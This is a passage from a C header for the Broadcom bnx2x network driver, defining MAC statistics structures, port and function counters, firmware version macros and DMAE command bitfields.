#define SHMEM_EEE_SUPPORTED_SHIFT 16 #define SHMEM_EEE_ADV_STATUS_MASK 0x00f00000 #define SHMEM_EEE_100M_ADV (1<<0) #define SHMEM_EEE_1G_ADV (1U<<1) #define SHMEM_EEE_10G_ADV (1<<2) #define SHMEM_EEE_ADV_STATUS_SHIFT 20 #define SHMEM_EEE_LP_ADV_STATUS_MASK 0x0f000000 #define SHMEM_EEE_LP_ADV_STATUS_SHIFT 24 #define SHMEM_EEE_REQUESTED_BIT 0x10000000 #define SHMEM_EEE_LPI_REQUESTED_BIT 0x20000000 #define SHMEM_EEE_ACTIVE_BIT 0x40000000 #define SHMEM_EEE_TIME_OUTPUT_BIT 0x80000000 uint32_t sizeof_port_stats; /* Link Flap Avoidance */ uint32_t lfa_host_addr[PORT_MAX]; /* External PHY temperature in deg C. */ uint32_t extphy_temps_in_celsius; #define EXTPHY1_TEMP_MASK 0x0000ffff #define EXTPHY1_TEMP_SHIFT 0 uint32_t ocdata_info_addr; /* Offset 0x148 */ uint32_t drv_func_info_addr; /* Offset 0x14C */ uint32_t drv_func_info_size; /* Offset 0x150 */ uint32_t link_attr_sync[PORT_MAX]; /* Offset 0x154 */ #define LINK_ATTR_SYNC_KR2_ENABLE (1<<0) }; struct emac_stats { uint32_t rx_stat_ifhcinoctets; uint32_t rx_stat_ifhcinbadoctets; uint32_t rx_stat_etherstatsfragments; uint32_t rx_stat_ifhcinucastpkts; uint32_t rx_stat_ifhcinmulticastpkts; uint32_t rx_stat_ifhcinbroadcastpkts; uint32_t rx_stat_dot3statsfcserrors; uint32_t rx_stat_dot3statsalignmenterrors; uint32_t rx_stat_dot3statscarriersenseerrors; uint32_t rx_stat_xonpauseframesreceived; uint32_t rx_stat_xoffpauseframesreceived; uint32_t rx_stat_maccontrolframesreceived; uint32_t rx_stat_xoffstateentered; uint32_t rx_stat_dot3statsframestoolong; uint32_t rx_stat_etherstatsjabbers; uint32_t rx_stat_etherstatsundersizepkts; uint32_t rx_stat_etherstatspkts64octets; uint32_t rx_stat_etherstatspkts65octetsto127octets; uint32_t rx_stat_etherstatspkts128octetsto255octets; uint32_t rx_stat_etherstatspkts256octetsto511octets; uint32_t rx_stat_etherstatspkts512octetsto1023octets; uint32_t rx_stat_etherstatspkts1024octetsto1522octets; uint32_t rx_stat_etherstatspktsover1522octets; uint32_t rx_stat_falsecarriererrors; uint32_t tx_stat_ifhcoutoctets; uint32_t tx_stat_ifhcoutbadoctets; uint32_t tx_stat_etherstatscollisions; uint32_t tx_stat_outxonsent; uint32_t tx_stat_outxoffsent; uint32_t tx_stat_flowcontroldone; uint32_t tx_stat_dot3statssinglecollisionframes; uint32_t tx_stat_dot3statsmultiplecollisionframes; uint32_t tx_stat_dot3statsdeferredtransmissions; uint32_t tx_stat_dot3statsexcessivecollisions; uint32_t tx_stat_dot3statslatecollisions; uint32_t tx_stat_ifhcoutucastpkts; uint32_t tx_stat_ifhcoutmulticastpkts; uint32_t tx_stat_ifhcoutbroadcastpkts; uint32_t tx_stat_etherstatspkts64octets; uint32_t tx_stat_etherstatspkts65octetsto127octets; uint32_t tx_stat_etherstatspkts128octetsto255octets; uint32_t tx_stat_etherstatspkts256octetsto511octets; uint32_t tx_stat_etherstatspkts512octetsto1023octets; uint32_t tx_stat_etherstatspkts1024octetsto1522octets; uint32_t tx_stat_etherstatspktsover1522octets; uint32_t tx_stat_dot3statsinternalmactransmiterrors; }; struct bmac1_stats { uint32_t tx_stat_gtpkt_lo; uint32_t tx_stat_gtpkt_hi; uint32_t tx_stat_gtxpf_lo; uint32_t tx_stat_gtxpf_hi; uint32_t tx_stat_gtfcs_lo; uint32_t tx_stat_gtfcs_hi; uint32_t tx_stat_gtmca_lo; uint32_t tx_stat_gtmca_hi; uint32_t tx_stat_gtbca_lo; uint32_t tx_stat_gtbca_hi; uint32_t tx_stat_gtfrg_lo; uint32_t tx_stat_gtfrg_hi; uint32_t tx_stat_gtovr_lo; uint32_t tx_stat_gtovr_hi; uint32_t tx_stat_gt64_lo; uint32_t tx_stat_gt64_hi; uint32_t tx_stat_gt127_lo; uint32_t tx_stat_gt127_hi; uint32_t tx_stat_gt255_lo; uint32_t tx_stat_gt255_hi; uint32_t tx_stat_gt511_lo; uint32_t tx_stat_gt511_hi; uint32_t tx_stat_gt1023_lo; uint32_t tx_stat_gt1023_hi; uint32_t tx_stat_gt1518_lo; uint32_t tx_stat_gt1518_hi; uint32_t tx_stat_gt2047_lo; uint32_t tx_stat_gt2047_hi; uint32_t tx_stat_gt4095_lo; uint32_t tx_stat_gt4095_hi; uint32_t tx_stat_gt9216_lo; uint32_t tx_stat_gt9216_hi; uint32_t tx_stat_gt16383_lo; uint32_t tx_stat_gt16383_hi; uint32_t tx_stat_gtmax_lo; uint32_t tx_stat_gtmax_hi; uint32_t tx_stat_gtufl_lo; uint32_t tx_stat_gtufl_hi; uint32_t tx_stat_gterr_lo; uint32_t tx_stat_gterr_hi; uint32_t tx_stat_gtbyt_lo; uint32_t tx_stat_gtbyt_hi; uint32_t rx_stat_gr64_lo; uint32_t rx_stat_gr64_hi; uint32_t rx_stat_gr127_lo; uint32_t rx_stat_gr127_hi; uint32_t rx_stat_gr255_lo; uint32_t rx_stat_gr255_hi; uint32_t rx_stat_gr511_lo; uint32_t rx_stat_gr511_hi; uint32_t rx_stat_gr1023_lo; uint32_t rx_stat_gr1023_hi; uint32_t rx_stat_gr1518_lo; uint32_t rx_stat_gr1518_hi; uint32_t rx_stat_gr2047_lo; uint32_t rx_stat_gr2047_hi; uint32_t rx_stat_gr4095_lo; uint32_t rx_stat_gr4095_hi; uint32_t rx_stat_gr9216_lo; uint32_t rx_stat_gr9216_hi; uint32_t rx_stat_gr16383_lo; uint32_t rx_stat_gr16383_hi; uint32_t rx_stat_grmax_lo; uint32_t rx_stat_grmax_hi; uint32_t rx_stat_grpkt_lo; uint32_t rx_stat_grpkt_hi; uint32_t rx_stat_grfcs_lo; uint32_t rx_stat_grfcs_hi; uint32_t rx_stat_grmca_lo; uint32_t rx_stat_grmca_hi; uint32_t rx_stat_grbca_lo; uint32_t rx_stat_grbca_hi; uint32_t rx_stat_grxcf_lo; uint32_t rx_stat_grxcf_hi; uint32_t rx_stat_grxpf_lo; uint32_t rx_stat_grxpf_hi; uint32_t rx_stat_grxuo_lo; uint32_t rx_stat_grxuo_hi; uint32_t rx_stat_grjbr_lo; uint32_t rx_stat_grjbr_hi; uint32_t rx_stat_grovr_lo; uint32_t rx_stat_grovr_hi; uint32_t rx_stat_grflr_lo; uint32_t rx_stat_grflr_hi; uint32_t rx_stat_grmeg_lo; uint32_t rx_stat_grmeg_hi; uint32_t rx_stat_grmeb_lo; uint32_t rx_stat_grmeb_hi; uint32_t rx_stat_grbyt_lo; uint32_t rx_stat_grbyt_hi; uint32_t rx_stat_grund_lo; uint32_t rx_stat_grund_hi; uint32_t rx_stat_grfrg_lo; uint32_t rx_stat_grfrg_hi; uint32_t rx_stat_grerb_lo; uint32_t rx_stat_grerb_hi; uint32_t rx_stat_grfre_lo; uint32_t rx_stat_grfre_hi; uint32_t rx_stat_gripj_lo; uint32_t rx_stat_gripj_hi; }; struct bmac2_stats { uint32_t tx_stat_gtpk_lo; /* gtpok */ uint32_t tx_stat_gtpk_hi; /* gtpok */ uint32_t tx_stat_gtxpf_lo; /* gtpf */ uint32_t tx_stat_gtxpf_hi; /* gtpf */ uint32_t tx_stat_gtpp_lo; /* NEW BMAC2 */ uint32_t tx_stat_gtpp_hi; /* NEW BMAC2 */ uint32_t tx_stat_gtfcs_lo; uint32_t tx_stat_gtfcs_hi; uint32_t tx_stat_gtuca_lo; /* NEW BMAC2 */ uint32_t tx_stat_gtuca_hi; /* NEW BMAC2 */ uint32_t tx_stat_gtmca_lo; uint32_t tx_stat_gtmca_hi; uint32_t tx_stat_gtbca_lo; uint32_t tx_stat_gtbca_hi; uint32_t tx_stat_gtovr_lo; uint32_t tx_stat_gtovr_hi; uint32_t tx_stat_gtfrg_lo; uint32_t tx_stat_gtfrg_hi; uint32_t tx_stat_gtpkt1_lo; /* gtpkt */ uint32_t tx_stat_gtpkt1_hi; /* gtpkt */ uint32_t tx_stat_gt64_lo; uint32_t tx_stat_gt64_hi; uint32_t tx_stat_gt127_lo; uint32_t tx_stat_gt127_hi; uint32_t tx_stat_gt255_lo; uint32_t tx_stat_gt255_hi; uint32_t tx_stat_gt511_lo; uint32_t tx_stat_gt511_hi; uint32_t tx_stat_gt1023_lo; uint32_t tx_stat_gt1023_hi; uint32_t tx_stat_gt1518_lo; uint32_t tx_stat_gt1518_hi; uint32_t tx_stat_gt2047_lo; uint32_t tx_stat_gt2047_hi; uint32_t tx_stat_gt4095_lo; uint32_t tx_stat_gt4095_hi; uint32_t tx_stat_gt9216_lo; uint32_t tx_stat_gt9216_hi; uint32_t tx_stat_gt16383_lo; uint32_t tx_stat_gt16383_hi; uint32_t tx_stat_gtmax_lo; uint32_t tx_stat_gtmax_hi; uint32_t tx_stat_gtufl_lo; uint32_t tx_stat_gtufl_hi; uint32_t tx_stat_gterr_lo; uint32_t tx_stat_gterr_hi; uint32_t tx_stat_gtbyt_lo; uint32_t tx_stat_gtbyt_hi; uint32_t rx_stat_gr64_lo; uint32_t rx_stat_gr64_hi; uint32_t rx_stat_gr127_lo; uint32_t rx_stat_gr127_hi; uint32_t rx_stat_gr255_lo; uint32_t rx_stat_gr255_hi; uint32_t rx_stat_gr511_lo; uint32_t rx_stat_gr511_hi; uint32_t rx_stat_gr1023_lo; uint32_t rx_stat_gr1023_hi; uint32_t rx_stat_gr1518_lo; uint32_t rx_stat_gr1518_hi; uint32_t rx_stat_gr2047_lo; uint32_t rx_stat_gr2047_hi; uint32_t rx_stat_gr4095_lo; uint32_t rx_stat_gr4095_hi; uint32_t rx_stat_gr9216_lo; uint32_t rx_stat_gr9216_hi; uint32_t rx_stat_gr16383_lo; uint32_t rx_stat_gr16383_hi; uint32_t rx_stat_grmax_lo; uint32_t rx_stat_grmax_hi; uint32_t rx_stat_grpkt_lo; uint32_t rx_stat_grpkt_hi; uint32_t rx_stat_grfcs_lo; uint32_t rx_stat_grfcs_hi; uint32_t rx_stat_gruca_lo; uint32_t rx_stat_gruca_hi; uint32_t rx_stat_grmca_lo; uint32_t rx_stat_grmca_hi; uint32_t rx_stat_grbca_lo; uint32_t rx_stat_grbca_hi; uint32_t rx_stat_grxpf_lo; /* grpf */ uint32_t rx_stat_grxpf_hi; /* grpf */ uint32_t rx_stat_grpp_lo; uint32_t rx_stat_grpp_hi; uint32_t rx_stat_grxuo_lo; /* gruo */ uint32_t rx_stat_grxuo_hi; /* gruo */ uint32_t rx_stat_grjbr_lo; uint32_t rx_stat_grjbr_hi; uint32_t rx_stat_grovr_lo; uint32_t rx_stat_grovr_hi; uint32_t rx_stat_grxcf_lo; /* grcf */ uint32_t rx_stat_grxcf_hi; /* grcf */ uint32_t rx_stat_grflr_lo; uint32_t rx_stat_grflr_hi; uint32_t rx_stat_grpok_lo; uint32_t rx_stat_grpok_hi; uint32_t rx_stat_grmeg_lo; uint32_t rx_stat_grmeg_hi; uint32_t rx_stat_grmeb_lo; uint32_t rx_stat_grmeb_hi; uint32_t rx_stat_grbyt_lo; uint32_t rx_stat_grbyt_hi; uint32_t rx_stat_grund_lo; uint32_t rx_stat_grund_hi; uint32_t rx_stat_grfrg_lo; uint32_t rx_stat_grfrg_hi; uint32_t rx_stat_grerb_lo; /* grerrbyt */ uint32_t rx_stat_grerb_hi; /* grerrbyt */ uint32_t rx_stat_grfre_lo; /* grfrerr */ uint32_t rx_stat_grfre_hi; /* grfrerr */ uint32_t rx_stat_gripj_lo; uint32_t rx_stat_gripj_hi; }; struct mstat_stats { struct { /* OTE MSTAT on E3 has a bug where this register's contents are * actually tx_gtxpok + tx_gtxpf + (possibly)tx_gtxpp */ uint32_t tx_gtxpok_lo; uint32_t tx_gtxpok_hi; uint32_t tx_gtxpf_lo; uint32_t tx_gtxpf_hi; uint32_t tx_gtxpp_lo; uint32_t tx_gtxpp_hi; uint32_t tx_gtfcs_lo; uint32_t tx_gtfcs_hi; uint32_t tx_gtuca_lo; uint32_t tx_gtuca_hi; uint32_t tx_gtmca_lo; uint32_t tx_gtmca_hi; uint32_t tx_gtgca_lo; uint32_t tx_gtgca_hi; uint32_t tx_gtpkt_lo; uint32_t tx_gtpkt_hi; uint32_t tx_gt64_lo; uint32_t tx_gt64_hi; uint32_t tx_gt127_lo; uint32_t tx_gt127_hi; uint32_t tx_gt255_lo; uint32_t tx_gt255_hi; uint32_t tx_gt511_lo; uint32_t tx_gt511_hi; uint32_t tx_gt1023_lo; uint32_t tx_gt1023_hi; uint32_t tx_gt1518_lo; uint32_t tx_gt1518_hi; uint32_t tx_gt2047_lo; uint32_t tx_gt2047_hi; uint32_t tx_gt4095_lo; uint32_t tx_gt4095_hi; uint32_t tx_gt9216_lo; uint32_t tx_gt9216_hi; uint32_t tx_gt16383_lo; uint32_t tx_gt16383_hi; uint32_t tx_gtufl_lo; uint32_t tx_gtufl_hi; uint32_t tx_gterr_lo; uint32_t tx_gterr_hi; uint32_t tx_gtbyt_lo; uint32_t tx_gtbyt_hi; uint32_t tx_collisions_lo; uint32_t tx_collisions_hi; uint32_t tx_singlecollision_lo; uint32_t tx_singlecollision_hi; uint32_t tx_multiplecollisions_lo; uint32_t tx_multiplecollisions_hi; uint32_t tx_deferred_lo; uint32_t tx_deferred_hi; uint32_t tx_excessivecollisions_lo; uint32_t tx_excessivecollisions_hi; uint32_t tx_latecollisions_lo; uint32_t tx_latecollisions_hi; } stats_tx; struct { uint32_t rx_gr64_lo; uint32_t rx_gr64_hi; uint32_t rx_gr127_lo; uint32_t rx_gr127_hi; uint32_t rx_gr255_lo; uint32_t rx_gr255_hi; uint32_t rx_gr511_lo; uint32_t rx_gr511_hi; uint32_t rx_gr1023_lo; uint32_t rx_gr1023_hi; uint32_t rx_gr1518_lo; uint32_t rx_gr1518_hi; uint32_t rx_gr2047_lo; uint32_t rx_gr2047_hi; uint32_t rx_gr4095_lo; uint32_t rx_gr4095_hi; uint32_t rx_gr9216_lo; uint32_t rx_gr9216_hi; uint32_t rx_gr16383_lo; uint32_t rx_gr16383_hi; uint32_t rx_grpkt_lo; uint32_t rx_grpkt_hi; uint32_t rx_grfcs_lo; uint32_t rx_grfcs_hi; uint32_t rx_gruca_lo; uint32_t rx_gruca_hi; uint32_t rx_grmca_lo; uint32_t rx_grmca_hi; uint32_t rx_grbca_lo; uint32_t rx_grbca_hi; uint32_t rx_grxpf_lo; uint32_t rx_grxpf_hi; uint32_t rx_grxpp_lo; uint32_t rx_grxpp_hi; uint32_t rx_grxuo_lo; uint32_t rx_grxuo_hi; uint32_t rx_grovr_lo; uint32_t rx_grovr_hi; uint32_t rx_grxcf_lo; uint32_t rx_grxcf_hi; uint32_t rx_grflr_lo; uint32_t rx_grflr_hi; uint32_t rx_grpok_lo; uint32_t rx_grpok_hi; uint32_t rx_grbyt_lo; uint32_t rx_grbyt_hi; uint32_t rx_grund_lo; uint32_t rx_grund_hi; uint32_t rx_grfrg_lo; uint32_t rx_grfrg_hi; uint32_t rx_grerb_lo; uint32_t rx_grerb_hi; uint32_t rx_grfre_lo; uint32_t rx_grfre_hi; uint32_t rx_alignmenterrors_lo; uint32_t rx_alignmenterrors_hi; uint32_t rx_falsecarrier_lo; uint32_t rx_falsecarrier_hi; uint32_t rx_llfcmsgcnt_lo; uint32_t rx_llfcmsgcnt_hi; } stats_rx; }; union mac_stats { struct emac_stats emac_stats; struct bmac1_stats bmac1_stats; struct bmac2_stats bmac2_stats; struct mstat_stats mstat_stats; }; struct mac_stx { /* in_bad_octets */ uint32_t rx_stat_ifhcinbadoctets_hi; uint32_t rx_stat_ifhcinbadoctets_lo; /* out_bad_octets */ uint32_t tx_stat_ifhcoutbadoctets_hi; uint32_t tx_stat_ifhcoutbadoctets_lo; /* crc_receive_errors */ uint32_t rx_stat_dot3statsfcserrors_hi; uint32_t rx_stat_dot3statsfcserrors_lo; /* alignment_errors */ uint32_t rx_stat_dot3statsalignmenterrors_hi; uint32_t rx_stat_dot3statsalignmenterrors_lo; /* carrier_sense_errors */ uint32_t rx_stat_dot3statscarriersenseerrors_hi; uint32_t rx_stat_dot3statscarriersenseerrors_lo; /* false_carrier_detections */ uint32_t rx_stat_falsecarriererrors_hi; uint32_t rx_stat_falsecarriererrors_lo; /* runt_packets_received */ uint32_t rx_stat_etherstatsundersizepkts_hi; uint32_t rx_stat_etherstatsundersizepkts_lo; /* jabber_packets_received */ uint32_t rx_stat_dot3statsframestoolong_hi; uint32_t rx_stat_dot3statsframestoolong_lo; /* error_runt_packets_received */ uint32_t rx_stat_etherstatsfragments_hi; uint32_t rx_stat_etherstatsfragments_lo; /* error_jabber_packets_received */ uint32_t rx_stat_etherstatsjabbers_hi; uint32_t rx_stat_etherstatsjabbers_lo; /* control_frames_received */ uint32_t rx_stat_maccontrolframesreceived_hi; uint32_t rx_stat_maccontrolframesreceived_lo; uint32_t rx_stat_mac_xpf_hi; uint32_t rx_stat_mac_xpf_lo; uint32_t rx_stat_mac_xcf_hi; uint32_t rx_stat_mac_xcf_lo; /* xoff_state_entered */ uint32_t rx_stat_xoffstateentered_hi; uint32_t rx_stat_xoffstateentered_lo; /* pause_xon_frames_received */ uint32_t rx_stat_xonpauseframesreceived_hi; uint32_t rx_stat_xonpauseframesreceived_lo; /* pause_xoff_frames_received */ uint32_t rx_stat_xoffpauseframesreceived_hi; uint32_t rx_stat_xoffpauseframesreceived_lo; /* pause_xon_frames_transmitted */ uint32_t tx_stat_outxonsent_hi; uint32_t tx_stat_outxonsent_lo; /* pause_xoff_frames_transmitted */ uint32_t tx_stat_outxoffsent_hi; uint32_t tx_stat_outxoffsent_lo; /* flow_control_done */ uint32_t tx_stat_flowcontroldone_hi; uint32_t tx_stat_flowcontroldone_lo; /* ether_stats_collisions */ uint32_t tx_stat_etherstatscollisions_hi; uint32_t tx_stat_etherstatscollisions_lo; /* single_collision_transmit_frames */ uint32_t tx_stat_dot3statssinglecollisionframes_hi; uint32_t tx_stat_dot3statssinglecollisionframes_lo; /* multiple_collision_transmit_frames */ uint32_t tx_stat_dot3statsmultiplecollisionframes_hi; uint32_t tx_stat_dot3statsmultiplecollisionframes_lo; /* deferred_transmissions */ uint32_t tx_stat_dot3statsdeferredtransmissions_hi; uint32_t tx_stat_dot3statsdeferredtransmissions_lo; /* excessive_collision_frames */ uint32_t tx_stat_dot3statsexcessivecollisions_hi; uint32_t tx_stat_dot3statsexcessivecollisions_lo; /* late_collision_frames */ uint32_t tx_stat_dot3statslatecollisions_hi; uint32_t tx_stat_dot3statslatecollisions_lo; /* frames_transmitted_64_bytes */ uint32_t tx_stat_etherstatspkts64octets_hi; uint32_t tx_stat_etherstatspkts64octets_lo; /* frames_transmitted_65_127_bytes */ uint32_t tx_stat_etherstatspkts65octetsto127octets_hi; uint32_t tx_stat_etherstatspkts65octetsto127octets_lo; /* frames_transmitted_128_255_bytes */ uint32_t tx_stat_etherstatspkts128octetsto255octets_hi; uint32_t tx_stat_etherstatspkts128octetsto255octets_lo; /* frames_transmitted_256_511_bytes */ uint32_t tx_stat_etherstatspkts256octetsto511octets_hi; uint32_t tx_stat_etherstatspkts256octetsto511octets_lo; /* frames_transmitted_512_1023_bytes */ uint32_t tx_stat_etherstatspkts512octetsto1023octets_hi; uint32_t tx_stat_etherstatspkts512octetsto1023octets_lo; /* frames_transmitted_1024_1522_bytes */ uint32_t tx_stat_etherstatspkts1024octetsto1522octets_hi; uint32_t tx_stat_etherstatspkts1024octetsto1522octets_lo; /* frames_transmitted_1523_9022_bytes */ uint32_t tx_stat_etherstatspktsover1522octets_hi; uint32_t tx_stat_etherstatspktsover1522octets_lo; uint32_t tx_stat_mac_2047_hi; uint32_t tx_stat_mac_2047_lo; uint32_t tx_stat_mac_4095_hi; uint32_t tx_stat_mac_4095_lo; uint32_t tx_stat_mac_9216_hi; uint32_t tx_stat_mac_9216_lo; uint32_t tx_stat_mac_16383_hi; uint32_t tx_stat_mac_16383_lo; /* internal_mac_transmit_errors */ uint32_t tx_stat_dot3statsinternalmactransmiterrors_hi; uint32_t tx_stat_dot3statsinternalmactransmiterrors_lo; /* if_out_discards */ uint32_t tx_stat_mac_ufl_hi; uint32_t tx_stat_mac_ufl_lo; }; #define MAC_STX_IDX_MAX 2 struct host_port_stats { uint32_t host_port_stats_counter; struct mac_stx mac_stx[MAC_STX_IDX_MAX]; uint32_t brb_drop_hi; uint32_t brb_drop_lo; uint32_t not_used; /* obsolete as of MFW 7.2.1 */ uint32_t pfc_frames_tx_hi; uint32_t pfc_frames_tx_lo; uint32_t pfc_frames_rx_hi; uint32_t pfc_frames_rx_lo; uint32_t eee_lpi_count_hi; uint32_t eee_lpi_count_lo; }; struct host_func_stats { uint32_t host_func_stats_start; uint32_t total_bytes_received_hi; uint32_t total_bytes_received_lo; uint32_t total_bytes_transmitted_hi; uint32_t total_bytes_transmitted_lo; uint32_t total_unicast_packets_received_hi; uint32_t total_unicast_packets_received_lo; uint32_t total_multicast_packets_received_hi; uint32_t total_multicast_packets_received_lo; uint32_t total_broadcast_packets_received_hi; uint32_t total_broadcast_packets_received_lo; uint32_t total_unicast_packets_transmitted_hi; uint32_t total_unicast_packets_transmitted_lo; uint32_t total_multicast_packets_transmitted_hi; uint32_t total_multicast_packets_transmitted_lo; uint32_t total_broadcast_packets_transmitted_hi; uint32_t total_broadcast_packets_transmitted_lo; uint32_t valid_bytes_received_hi; uint32_t valid_bytes_received_lo; uint32_t host_func_stats_end; }; /* VIC definitions */ #define VICSTATST_UIF_INDEX 2 /* * stats collected for afex. * NOTE: structure is exactly as expected to be received by the switch. * order must remain exactly as is unless protocol changes ! */ struct afex_stats { uint32_t tx_unicast_frames_hi; uint32_t tx_unicast_frames_lo; uint32_t tx_unicast_bytes_hi; uint32_t tx_unicast_bytes_lo; uint32_t tx_multicast_frames_hi; uint32_t tx_multicast_frames_lo; uint32_t tx_multicast_bytes_hi; uint32_t tx_multicast_bytes_lo; uint32_t tx_broadcast_frames_hi; uint32_t tx_broadcast_frames_lo; uint32_t tx_broadcast_bytes_hi; uint32_t tx_broadcast_bytes_lo; uint32_t tx_frames_discarded_hi; uint32_t tx_frames_discarded_lo; uint32_t tx_frames_dropped_hi; uint32_t tx_frames_dropped_lo; uint32_t rx_unicast_frames_hi; uint32_t rx_unicast_frames_lo; uint32_t rx_unicast_bytes_hi; uint32_t rx_unicast_bytes_lo; uint32_t rx_multicast_frames_hi; uint32_t rx_multicast_frames_lo; uint32_t rx_multicast_bytes_hi; uint32_t rx_multicast_bytes_lo; uint32_t rx_broadcast_frames_hi; uint32_t rx_broadcast_frames_lo; uint32_t rx_broadcast_bytes_hi; uint32_t rx_broadcast_bytes_lo; uint32_t rx_frames_discarded_hi; uint32_t rx_frames_discarded_lo; uint32_t rx_frames_dropped_hi; uint32_t rx_frames_dropped_lo; }; /* To maintain backward compatibility between FW and drivers, new elements */ /* should be added to the end of the structure. */ /* Per Port Statistics */ struct port_info { uint32_t size; /* size of this structure (i.e. sizeof(port_info)) */ uint32_t enabled; /* 0 =Disabled, 1= Enabled */ uint32_t link_speed; /* multiplier of 100Mb */ uint32_t wol_support; /* WoL Support (i.e. Non-Zero if WOL supported ) */ uint32_t flow_control; /* 802.3X Flow Ctrl. 0=off 1=RX 2=TX 3=RX&TX.*/ uint32_t flex10; /* Flex10 mode enabled. non zero = yes */ uint32_t rx_drops; /* RX Discards. Counters roll over, never reset */ uint32_t rx_errors; /* RX Errors. Physical Port Stats L95, All PFs and NC-SI. This is flagged by Consumer as an error. */ uint32_t rx_uncast_lo; /* RX Unicast Packets. Free running counters: */ uint32_t rx_uncast_hi; /* RX Unicast Packets. Free running counters: */ uint32_t rx_mcast_lo; /* RX Multicast Packets */ uint32_t rx_mcast_hi; /* RX Multicast Packets */ uint32_t rx_bcast_lo; /* RX Broadcast Packets */ uint32_t rx_bcast_hi; /* RX Broadcast Packets */ uint32_t tx_uncast_lo; /* TX Unicast Packets */ uint32_t tx_uncast_hi; /* TX Unicast Packets */ uint32_t tx_mcast_lo; /* TX Multicast Packets */ uint32_t tx_mcast_hi; /* TX Multicast Packets */ uint32_t tx_bcast_lo; /* TX Broadcast Packets */ uint32_t tx_bcast_hi; /* TX Broadcast Packets */ uint32_t tx_errors; /* TX Errors */ uint32_t tx_discards; /* TX Discards */ uint32_t rx_frames_lo; /* RX Frames received */ uint32_t rx_frames_hi; /* RX Frames received */ uint32_t rx_bytes_lo; /* RX Bytes received */ uint32_t rx_bytes_hi; /* RX Bytes received */ uint32_t tx_frames_lo; /* TX Frames sent */ uint32_t tx_frames_hi; /* TX Frames sent */ uint32_t tx_bytes_lo; /* TX Bytes sent */ uint32_t tx_bytes_hi; /* TX Bytes sent */ uint32_t link_status; /* Port P Link Status. 1:0 bit for port enabled. 1:1 bit for link good, 2:1 Set if link changed between last poll. */ uint32_t tx_pfc_frames_lo; /* PFC Frames sent. */ uint32_t tx_pfc_frames_hi; /* PFC Frames sent. */ uint32_t rx_pfc_frames_lo; /* PFC Frames Received. */ uint32_t rx_pfc_frames_hi; /* PFC Frames Received. */ }; #define BNX2X_5710_FW_MAJOR_VERSION 7 #define BNX2X_5710_FW_MINOR_VERSION 2 #define BNX2X_5710_FW_REVISION_VERSION 51 #define BNX2X_5710_FW_ENGINEERING_VERSION 0 #define BNX2X_5710_FW_COMPILE_FLAGS 1 /* * attention bits $$KEEP_ENDIANNESS$$ */ struct atten_sp_status_block { uint32_t attn_bits /* 16 bit of attention signal lines */; uint32_t attn_bits_ack /* 16 bit of attention signal ack */; uint8_t status_block_id /* status block id */; uint8_t reserved0 /* resreved for padding */; uint16_t attn_bits_index /* attention bits running index */; uint32_t reserved1 /* resreved for padding */; }; /* * The eth aggregative context of Cstorm */ struct cstorm_eth_ag_context { uint32_t __reserved0[10]; }; /* * dmae command structure */ struct dmae_command { uint32_t opcode; #define DMAE_COMMAND_SRC (0x1<<0) /* BitField opcode Whether the source is the PCIe or the GRC. 0- The source is the PCIe 1- The source is the GRC. */ #define DMAE_COMMAND_SRC_SHIFT 0 #define DMAE_COMMAND_DST (0x3<<1) /* BitField opcode The destination of the DMA can be: 0-None 1-PCIe 2-GRC 3-None */ #define DMAE_COMMAND_DST_SHIFT 1 #define DMAE_COMMAND_C_DST (0x1<<3) /* BitField opcode The destination of the completion: 0-PCIe 1-GRC */ #define DMAE_COMMAND_C_DST_SHIFT 3 #define DMAE_COMMAND_C_TYPE_ENABLE (0x1<<4) /* BitField opcode Whether to write a completion word to the completion destination: 0-Do not write a completion word 1-Write the completion word */ #define DMAE_COMMAND_C_TYPE_ENABLE_SHIFT 4 #define DMAE_COMMAND_C_TYPE_CRC_ENABLE (0x1<<5) /* BitField opcode Whether to write a CRC word to the completion destination 0-Do not write a CRC word 1-Write a CRC word */ #define DMAE_COMMAND_C_TYPE_CRC_ENABLE_SHIFT 5 #define DMAE_COMMAND_C_TYPE_CRC_OFFSET (0x7<<6) /* BitField opcode The CRC word should be taken from the DMAE GRC space from address 9+X, where X is the value in these bits. */ #define DMAE_COMMAND_C_TYPE_CRC_OFFSET_SHIFT 6 #define DMAE_COMMAND_ENDIANITY (0x3<<9) /* BitField opcode swapping mode. */ #define DMAE_COMMAND_ENDIANITY_SHIFT 9 #define DMAE_COMMAND_PORT (0x1<<11) /* BitField opcode Which network port ID to present to the PCI request interface */ #define DMAE_COMMAND_PORT_SHIFT 11 #define DMAE_COMMAND_CRC_RESET (0x1<<12) /* BitField opcode reset crc result */ #define DMAE_COMMAND_CRC_RESET_SHIFT 12 #define DMAE_COMMAND_SRC_RESET (0x1<<13) /* BitField opcode reset source address in next go */ #define DMAE_COMMAND_SRC_RESET_SHIFT 13 #define DMAE_COMMAND_DST_RESET (0x1<<14) /* BitField opcode reset dest address in next go */ #define DMAE_COMMAND_DST_RESET_SHIFT 14 #define DMAE_COMMAND_E1HVN (0x3<<15) /* BitField opcode vnic number E2 and onwards source vnic */ #define DMAE_COMMAND_E1HVN_SHIFT 15 #define DMAE_COMMAND_DST_VN (0x3<<17) /* BitField opcode E2 and onwards dest vnic */ #define DMAE_COMMAND_DST_VN_SHIFT 17 #define DMAE_COMMAND_C_FUNC (0x1<<19) /* BitField opcode E2 and onwards which function gets the completion src_vn(e1hvn)-0 dst_vn-1 */ #define DMAE_COMMAND_C_FUNC_SHIFT 19 #define DMAE_COMMAND_ERR_POLICY (0x3<<20) /* BitField opcode E2 and onwards what to do when theres a completion and a PCI error regular-0 error indication-1 no completion-2 */ #define DMAE_COMMAND_ERR_POLICY_SHIFT 20 #define DMAE_COMMAND_RESERVED0 (0x3FF<<22) /* BitField opcode */ #define DMAE_COMMAND_RESERVED0_SHIFT 22 uint32_t src_addr_lo /* source address low/grc address */; uint32_t src_addr_hi /* source address hi */; uint32_t dst_addr_lo /* dest address low/grc address */; uint32_t dst_addr_hi /* dest address hi */; #if defined(__BIG_ENDIAN) uint16_t opcode_iov; #define DMAE_COMMAND_SRC_VFID (0x3F<<0) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility source VF id */ #define DMAE_COMMAND_SRC_VFID_SHIFT 0 #define DMAE_COMMAND_SRC_VFPF (0x1<<6) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility selects the source function PF-0, VF-1 */ #define DMAE_COMMAND_SRC_VFPF_SHIFT 6 #define DMAE_COMMAND_RESERVED1 (0x1<<7) /* BitField opcode_iovE2 and onward, set to 0 for backward compatibility */ #define DMAE_COMMAND_RESERVED1_SHIFT 7 #define DMAE_COMMAND_DST_VFID (0x3F<<8) /* BitField opcode_iovE2 and 